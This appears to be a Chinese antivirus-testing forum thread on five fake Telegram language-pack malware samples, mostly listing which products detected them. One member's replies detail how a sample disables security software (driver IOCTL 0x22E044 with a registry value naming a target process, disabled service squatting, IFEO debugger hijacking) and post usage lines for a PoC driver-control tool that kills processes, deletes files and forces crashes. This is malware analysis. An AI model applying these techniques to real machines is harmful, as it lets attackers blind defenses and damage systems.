FakeTG 语言包 5x

JMDF

000EXE 发表于 2026-9-13 17:47
能正常启动就问题不大，是这个漏了？点击安装中文简体语言包？

对，还有点击安装中文汉化zh-cn语言i

JMDF

JMDF 发表于 2026-9-13 17:23
Avast Free解压杀2个，双击杀1个，另外两个双击后不拦，约1分钟后Avast进程被终结，系统被病毒重启，重启后 ...

准确的说是蓝屏自动重启

fdsax

emsi双击3x，剩余2x

Luna_ovo

fort 扫描 miss all，执行 miss all，已全部上传供分析

izumi83

火绒解压2x，剩余扫描miss

wwwab

这个"点击安装中文简体语言包.exe"太狠了。

首先加载这个驱动，应该是 IOCTL 0x22E044，写注册表杀进程:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\pxscan\Files|0=C:\Program Files\Huorong\Sysdiag\bin\HipsMain.exe



应该是写入HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\pxscan\Files|0={exe_filepath} & c_rem=1，然后发送IOCTL 0x22E044，就行了

然后占坑创建一大堆以杀毒软件进程名、服务名作为名字的注册表服务项，修改、提前占坑服务启动状态: start=4（已禁用）




再然后进行镜像劫持，对一大堆杀毒软件进程名，修改Image File Execution Options下的Debugger







这手法和动静感觉梦回十年前

@wowocock

Loyisa

Avira 3x


点击安装中文汉化zh-cn语言i.exe
kill衍生物

scottxzt

WD3X     剩余2枚 冰盾拦截   Wmi,exe 老朋友了
Trojan:Win32/Wacatac.H!ml
F:\5x\点击安装中文简体语言包.exe
file: F:\5x\点击安装中文语言包z.exe
file: F:\5x\点击安装中文语言包1.exe

wwwab

wwwab 发表于 2026-9-13 22:47
这个"点击安装中文简体语言包.exe"太狠了。

首先加载这个驱动，应该是 IOCTL 0x22E044，写注册表杀进程: ...

Poc:
Usage:

1.         L"  pxctl.exe load <path\\pxscan.sys>                  create + start kernel service\n"
   
2.         L"  pxctl.exe unload                                     stop + delete SCM entry (driver persists till reboot)\n"
   
3.         L"  pxctl.exe bsod                                       immediate KeBugCheck(0xF7) via IOCTL 0x22E048\n"
   
4.         L"  pxctl.exe reboot                                     warm reset + bugcheck via IOCTL 0x22E034\n"
   
5.         L"  pxctl.exe delete <\\??\\C:\\abs\\file.exe>          delete file (IOCTL 0x22E044) [NT namespace filepath of the file]\n"
   
6.         L"  pxctl.exe kill <C:\\abs\\image.exe>               kill process (IOCTL 0x22E044) [Win32 filepath of the process]\n"
   
7.         L"  pxctl.exe read <\\Device\\xxx> <offset>           raw 1KB read (IOCTL 0x22E000)\n"
   
8.         L"  pxctl.exe query                                      exercise 0x22E004/0x22E00C/0x22E400\n"

复制代码

先加载驱动: pxctl.exe load <path\\pxscan.sys>
发送IOCTL 0x22E048，触发KeBugCheck(0xF7)蓝屏: pxctl.exe bsod
发送IOCTL 0x22E034，触发__outbyte(0x64, 0xFE)向键盘控制器写复位命令、强制断电以硬重启系统、KeBugCheck(0xE5)蓝屏: pxctl.exe reboot
强制删除文件: pxctl.exe delete <\\??\\C:\\abs\\file.exe> (该文件的 NT 命名空间文件路径)
强制结束进程: pxctl.exe kill <C:\\abs\\image.exe> (该进程的 Win32 文件路径)

mzfanggong

心醉咖啡 发表于 2026-9-13 16:53
360首扫全部miss，一两分钟后云鉴定杀3

路过不复。